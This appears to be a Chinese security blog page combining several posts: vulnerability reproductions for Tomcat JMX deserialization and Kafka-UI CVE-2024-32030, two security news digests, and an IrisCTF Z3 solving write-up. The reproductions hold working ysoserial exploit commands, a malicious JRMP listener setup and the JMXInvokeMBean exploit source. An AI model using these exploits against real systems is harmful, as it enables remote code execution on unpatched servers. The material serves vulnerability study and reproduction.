一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题 JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735 漏洞描述 这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。 影响版本 Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47 环境搭建 https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。 漏洞复现 漏洞复现的 EXP 已经有了 java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success" 漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer try {      RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);      cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());      cs.start();      registry.bind("jmxrmi", server);      log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));   } catch (AlreadyBoundException | IOException var15) {      log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);   } 很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发 同样这里其实也是用 RMI 协议来打的。 利用 Mlet 的方式动态加载 MBean 这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。 而 JMX 调用远程 MBean 方法有以下流程: 1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。 所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length < 4 ) { System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>"); System.exit(-1); }   JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");         JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // create the payload Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); //close the connection jmxConnector.close();   } } 我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。 当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞 https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/漏洞描述 Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。 影响版本 Kafka-UI <= 0.7.1 环境搭建 Kafka-UI 的 docker version: '3.8' services: kafka-ui:   image: provectuslabs/kafka-ui:v0.7.1   container_name: kafka-ui   environment:     - DYNAMIC_CONFIG_ENABLED=true     - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005   ports:     - "8080:8080"     - "5005:5005" Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了 version: '2' services: zookeeper:   image: zookeeper   restart: always   ports:     - "2181:2181"   container_name: zookeeper kafka:   image: wurstmeister/kafka   restart: always   ports:     - "9092:9092"     - "9094:9094"   depends_on:     - zookeeper   environment:     KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1     KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181     KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094     KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094     KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL     KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT   container_name: kafka 漏洞复现 使用 ysoserial 直接打,起一个恶意的 JMX 服务。 git clone https://github.com/artsploit/ysoserial/ cd ysoserial && git checkout scala1 mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true" 开启了之后,使用 Kafka-UI 去连接该 JMX 第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。 服务器接收到恶意的请求 随后第二步直接使用 CC 链打。 java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt" 攻击成功 漏洞分析 通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo 最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法 后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。 这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。
网络安全日报 2024年07月18日
1、Killer Ultra恶意软件绕过EDR强化勒索攻击 https://www.binarydefense.com/resources/blog/technical-analysis-killer-ultra-malware-targeting-edr-products-in-ransomware-attacks/ 安全研究团队分析了一种名为“Killer Ultra”的恶意软件,该软件被设计用来绕过和终止流行的端点检测和响应(EDR)以及防病毒(AV)工具。Killer Ultra通过利用Zemana AntiLogger中的一个已知漏洞CVE-2024-1853,获取内核级权限,以终止关键安全进程。此外,该恶意软件还具备清除事件日志、持久化以 2、研究人员揭露Kubelet API安全隐患 https://www.aquasec.com/blog/kubernetes-exposed-exploiting-the-kubelet-api/ 安全研究人员揭露了Kubernetes集群中Kubelet API的安全隐患。Kubelet API负责管理节点上的Pod和容器,通常不直接面向用户,但若被错误配置暴露于互联网,将带来严重的安全风险。通过蜜罐技术,研究人员观察到了攻击者利用Kubelet API进行的各种恶意活动,包括但不限于环境映射、网络扫描和秘密信息的搜集。为了应对这些威胁,研究人员提出了一系列安全措施,包括限制对Kubelet API的访问、加强身份验证机制、持续监控和 3、研究人员揭露Konfety广告欺诈活动 https://www.humansecurity.com/learn/blog/the-partys-over-humans-satori-threat-intelligence-and-research-team-cleans-up-konfety-mobile-ad-fraud-campaign 安全研究团队近日揭露了一起名为“Konfety”的大规模广告欺诈活动。该活动通过在Google Play Store上部署超过250个无害的诱饵应用程序,通过其“邪恶双胞胎”进行广告欺诈、监控网络搜索、安装浏览器扩展程序等恶意行为。研究人员指出,这种“诱饵/邪恶双胞胎”混淆机制是威胁行为体将欺 4、伪造的AWS npm软件包通过JPEG藏匿C2通信 https://blog.phylum.io/fake-aws-packages-ship-command-and-control-malware-in-jpeg-files/ Phylum平台发现npm软件包注册表中出现伪造的AWS软件包,这些软件包表面看似合法,实则在JPEG文件中隐藏了命令和控制(C2)功能。安全研究团队对此进行了深入分析,发现攻击者通过合法项目aws-s3-object-multipart-copy克隆并植入恶意脚本。通过分析loadformat.js文件,揭露了攻击者在图像文件中隐藏恶意代码的手法,这些代码在软件包安装时执行,实现对受害者机器的远程控制。 5、Atlassian 修补了Confluence 和 Jira 中的高危漏洞 https://www.securityweek.com/atlassian-patches-high-severity-vulnerabilities-in-bamboo-confluence-jira/ Atlassian 发布安全主题更新,修复其 Bamboo、Confluence 和 Jira 产品中的几个高严重漏洞。 6、国际刑警组织在全球打击西非犯罪集团行动中逮捕 300 人 https://www.securityweek.com/interpol-arrests-300-people-in-a-global-crackdown-on-west-african-crime-groups-across-5-continents/ 国际刑警组织在全球打击专门从事网上金融诈骗的西非犯罪集团中逮捕了 300 人。 7、Apache HugeGraph 高危漏洞遭野外利用 https://www.securityweek.com/apache-hugegraph-vulnerability-exploited-in-wild/ 威胁行为者似乎正试图利用最近修补的 Apache HugeGraph 漏洞。其开发人员于 4 月向用户通报了 HugeGraph-Server 中存在一个严重程度较高的漏洞,可导致远程命令执行。该漏洞编号为CVE-2024-27348,已在 1.3.0 版本发布时进行了修补。 8、Chrome 126 更新修补高危漏洞 https://www.securityweek.com/chrome-126-updates-patch-high-severity-vulnerabilities/ 谷歌周二宣布了 Chrome 126 的安全更新,修复了 10 个漏洞,其中包括外部研究人员报告的 8 个高严重性漏洞。 9、WP Time Capsule 插件存在严重安全漏洞 https://www.infosecurity-magazine.com/news/wp-time-capsule-plugin-flaw/ 通过利用此漏洞,攻击者可以绕过关键的身份验证检查,操纵 JSON 编码的 POST 数据来提升他们的权限并有效地以网站管理员身份登录。 10、知名工具Trello被黑客攻击,泄露1500 万用户数据 https://www.freebuf.com/news/406218.html Trello 是 Atlassian 旗下的一款在线项目管理工具,企业通常使用它将数据和任务组织到板块、卡片和列表中。近日,有黑客发布了与 Trello 账户相关的 1500 万个电子邮件地址,这些地址是今年 1 月被 API 收集到的。当时有一个名为 “emo ”的威胁行为者在一个流行的黑客论坛上出售 15 万个 Trello 会员的资料。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
【总结】逻辑运算在Z3中运用+CTF习题
国际赛IrisCTF在前几天举办,遇到了一道有意思的题目,特来总结。 题目 附件如下:https://www.yuque.com/attachments/yuque/0/2024/tar/33529154/1704561294084-9b9bc6bd-6da0-4178-9c3d-5b1bd9a98c0f.tar 解题过程 关键main函数分析如下: int __fastcall main(int argc, const char **argv, const char  **envp) {  int v4; // [rsp+4h] [rbp-7Ch]  int v5; // [rsp+4h] [rbp-7Ch]  int v6; // [rsp+8h] [rbp-78h]  int v7; // [rsp+Ch] [rbp-74h]  char input[104]; // [rsp+10h] [rbp-70h] BYREF  unsigned __int64 v9; // [rsp+78h] [rbp-8h]  v9 = __readfsqword(0x28u);  puts("Welcome to the Johnson's family!");  puts("You have gotten to know each person decently well, so let's see  if you remember all of the facts.");  puts("(Remember that each of the members like different things from  each other.)");  v4 = 0;  while ( v4 <= 3 ) // 在提供的颜色中,选择4种 {  printf("Please choose %s's favorite color: ", (&names)[v4]);//  4个人  __isoc99_scanf("%99s", input);  if ( !strcmp(input, colors) ) {  v6 = 1; // red  goto LABEL_11; }  if ( !strcmp(input, s2) ) {  v6 = 2; // blue  goto LABEL_11; }  if ( !strcmp(input, off_4050) ) {  v6 = 3; // green  goto LABEL_11; }  if ( !strcmp(input, off_4058) ) {  v6 = 4; // yellow  LABEL_11:  if ( v6 == chosenColors[0] || v6 == dword_4094 || v6 ==  dword_4098 || v6 == dword_409C )// 选择4个颜色,然后顺序不能一样  puts("That option was already chosen!");  else  chosenColors[v4++] = v6; // 存储选择的颜色(已经转换成了数字) }  else {  puts("Invalid color!"); } }  v5 = 0;  while ( v5 <= 3 ) {  printf("Please choose %s's favorite food: ", (&names)[v5]);//  4个人最喜欢的食物  __isoc99_scanf("%99s", input);  if ( !strcmp(input, foods) ) {  v7 = 1; // pizza  goto LABEL_28; }  if ( !strcmp(input, off_4068) ) {  v7 = 2; // pasta  goto LABEL_28; }  if ( !strcmp(input, off_4070) ) {  v7 = 3; // steak  goto LABEL_28; }  if ( !strcmp(input, off_4078) ) {  v7 = 4; // chicken  LABEL_28:  if ( v7 == chosenFoods[0] || v7 == dword_40A4 || v7 == dword_40A8  || v7 == dword_40AC )  puts("That option was already chosen!");  else  chosenFoods[v5++] = v7; }  else {  puts("Invalid food!"); } }  check(); // 开始check,检测我们输入的颜色和食物是否正确  return 0; }  ----------------------------------------------------------------------- 将check提取出来,我们方便分析 其实到这里已经可以得到结果了,国外的题目确实很讲究趣味性,用颜色和食物作为导向,引导一步一步分析 笔者使用静态分析的方法,一步一步跟踪 C++ int check() {  bool v0; // dl  _BOOL4 v1; // eax  _BOOL4 v2; // edx  v0 = dword_40A8 != 2 && dword_40AC != 2;    v1 = v0 && dword_4094 != 1;  v2 = chosenColors[0] != 3 && dword_4094 != 3;  if ( !v2 || !v1 || chosenFoods[0] != 4 || dword_40AC == 3 ||  dword_4098 == 4 || dword_409C != 2 )  return puts("Incorrect.");  puts("Correct!");  return system("cat flag.txt"); // 执行cat flag的命令 }  ----------------------------------------------------------------------- 对应的输入值地址如下: 我们将颜色color数组用x系列表示,将食物用food数组y系列表示 化简如下: C++  v0 = y3 != 2 && y4 != 2;    v1 = v0 && x2 != 1;  v2 = x1 != 3 && x2 != 3;  if ( !v2 || !v1 || y1 != 4 || y4 == 3 || x3 == 4 || x4 != 2 ) {  //错误 }  else {  //成功 }  ----------------------------------------------------------------------- 思路1:简单粗暴的爆破,但不是学习的目的,因此并不采用 思路2:锻炼写脚本能力,使用z3解题可以锻炼写脚本的能力,因此采用 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作    # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 得到结果 Python  成功:  x1 = 4  x2 = 0  x3 = 5  x4 = 2  y1 = 4  y2 = None  y3 = 3  y4 = 0  ----------------------------------------------------------------------- 其实有经验的师傅发现了,这是有多解的,因为没有为约束变量添加范围约束 改进之后的代码如下: Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- 得到结果: -----------------------------------------------------------------------  Python  成功:  x1 = 1  x2 = 4  x3 = 1  x4 = 2  y1 = 4  y2 = 1  y3 = 3  y4 = 4  ----------------------------------------------------------------------- 发现x1和x3重复了,因此还要添加值不重复约束 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  #值范围约束  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  #非重复值约束  distinct_x=Distinct(x1,x2,x3,x4)  distinct_y=Distinct(y1,y2,y3,y4)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  solver.add(distinct_y)  solver.add(distinct_x)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 最终得到正确的结果 Python 成功: x1 = 1 x2 = 4 x3 = 3 x4 = 2 y1 = 4 y2 = 2 y3 = 3 y4 = 1 x1-x4= 1 4 3 2 y1-y4= 4 2 3 1 按照这样的顺序输入即可: 得到了flag irisctf{m0r3_th4n_0n3_l0g1c_puzzl3_h3r3} 总结 题目并不是很难,没有复杂的ollvm混淆也没有复杂的加密。但是却一步一步引导我们去学习和总结。z3解题的过程中,会有很多误解,然后经过自己的思考总结,发现了漏掉的东西,再进行补充,最终写出正确的脚本。 国外的题还是很值得学习的,不单单为了出题而出题。这就是逻辑运算在z3的运用以及如何增加约束,让z3求解出我们需要的key。
网络安全日报 2024年07月17日
1、MuddyWater组织部署新后门BugSleep https://research.checkpoint.com/2024/new-bugsleep-backdoor-deployed-in-recent-muddywater-campaigns/ MuddyWater,一个与伊朗有关联的网络威胁行为体,自2023年10月起尤其在以色列的活动激增,其攻击范围亦扩展至沙特阿拉伯、土耳其等多国。该组织通过网络钓鱼邮件传播合法的远程管理工具,如Atera Agent和Screen Connect,同时部署了一种新的定制后门BugSleep。BugSleep后门目前仍在开发中,具备执行攻击者命令和在受感染计算机与C&C服务器间传输文件的能力。 2、CheckPoint安全网关漏洞被黑客利用 https://www.cyfirma.com/research/threat-actors-actively-exploiting-cve-2024-24919-underground-forums-share-ip-addresses-of-vulnerable-check-point-security-gateway-devices/ 安全研究人员发现CheckPoint安全网关的严重漏洞CVE-2024-24919被“GhostClanMalaysia”黑客组织在地下论坛中积极利用。此漏洞CVSS评分8.6,影响配置IPSecVPN、远程访问VPN或移动访问软件等设备,允许未授权远程 3、法国电信巨头SFR遭遇数据泄露 https://thecyberexpress.com/french-telecom-giant-sfr-data-breached-claims/ 法国电信公司SFR近期被报道遭遇重大数据泄露事件。据称,黑客“KevAdams”在Breachforums论坛上公开了SFR超过140万固定电话用户的敏感信息,并提出以850美元的价格出售。这些信息包括客户的姓名、电话号码、地址等。虽然SFR官方尚未对此事作出回应,但数据泄露的潜在影响已经引起了公众和媒体的广泛关注。目前,SFR的数据泄露事件仍在调查中,其真实性和影响范围尚待进一步确认。 4、研究人员揭露BianLian勒索软件 https://socradar.io/threat-actor-profile-bianlian-the-shape-shifting-ransomware-group/ BianLian勒索软件组织以其快速适应性和战术多变而在全球网络安全领域引起了广泛关注。自2019年作为银行木马出现以来,该组织不断演进,形成了一系列复杂的攻击策略,针对全球多个关键行业和领域。通过精心设计的网络钓鱼和社会工程手段,BianLian获得目标网络的初始访问权,并利用自定义后门和远程管理工具深化其在受害者网络中的立足点。该组织还展现出通过不断改进其攻击方法以逃避安全检测的能力,使其成为全球组织必须严肃对待的网 5、“Konfety”广告欺诈利用250多个Google Play诱饵应用 https://thehackernews.com/2024/07/konfety-ad-fraud-uses-250-google-play.html 有关“大规模广告欺诈行为”的详细信息已经浮出水面,该行为利用 Google Play Store 中的数百个应用程序执行一系列恶意活动。虽然这些诱饵应用程序(总数超过 250 个)是无害的并通过 Google Play 商店分发,但它们各自的“邪恶双胞胎”却是通过恶意广告活动传播的,旨在促进广告欺诈、监控网络搜索、安装浏览器扩展程序和将 APK 文件代码侧载到用户的设备上。 6、CISA警告 GeoServer 漏洞可能被利用 https://www.securityweek.com/organizations-warned-of-exploited-geoserver-vulnerability/ 美国网络安全机构 CISA 敦促联邦机构尽快修补 GeoServer 中的严重漏洞,并警告有证据表明该漏洞正在被积极利用。该漏洞被标记为CVE-2024-36401(CVSS 评分为 9.8),它被描述为将属性名称作为 XPath 表达式进行不安全的评估,这可能允许未经身份验证的攻击者通过针对默认 GeoServer 安装的精心设计的输入来远程执行代码。 7、卡巴斯基因美国禁令而退出美国市场 https://securityaffairs.com/165799/breaking-news/kaspersky-is-leaving-the-u-s-market.html 卡巴斯基因美国商务部最近对其软件的销售实施禁令而退出美国市场。俄罗斯网络安全公司卡巴斯基宣布退出美国市场。 8、Void Banshee 利用MSHTML漏洞攻击 Windows 用户 https://www.trendmicro.com/en_us/research/24/g/CVE-2024-38112-void-banshee.html 2024 年 5 月,趋势科技发现了漏洞 CVE-2024-38112,该漏洞被利用作为使用互联网快捷方式文件的多阶段攻击链的一部分。该活动在整个 2024 年都很活跃。漏洞 CVE-2024-38112 (ZDI-CAN-24433) 被用作零日漏洞,可使用 MSHTML 通过已禁用的 Internet Explorer 访问和执行文件。作为 Void Banshee 攻击链的一部分,CVE-2024-38112 被用来通过 Atl 9、用户密码强度分析:59%的密码可以在一小时内被猜出 https://www.freebuf.com/articles/paper/405798.html 卡巴斯基的研究调查了在各种暗网网站上发现的1.93亿个密码,并估计了使用暴力和各种高级算法(如字典攻击和/或常见字符组合枚举)从哈希中猜测密码所需的时间。卡巴斯基实验室对暴力攻击抵抗力的研究发现,很大比例的密码(59%)可以在一小时内被破解。 10、德国计划在2029年底前将华为设备清除出其5G移动网络 https://www.secrss.com/articles/68036 德国计划在2029年底之前,从其5G移动网络中完全移除中国制造的组件。这一决定旨在解决多年来的争论,并回应美国对该问题的安全警告。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页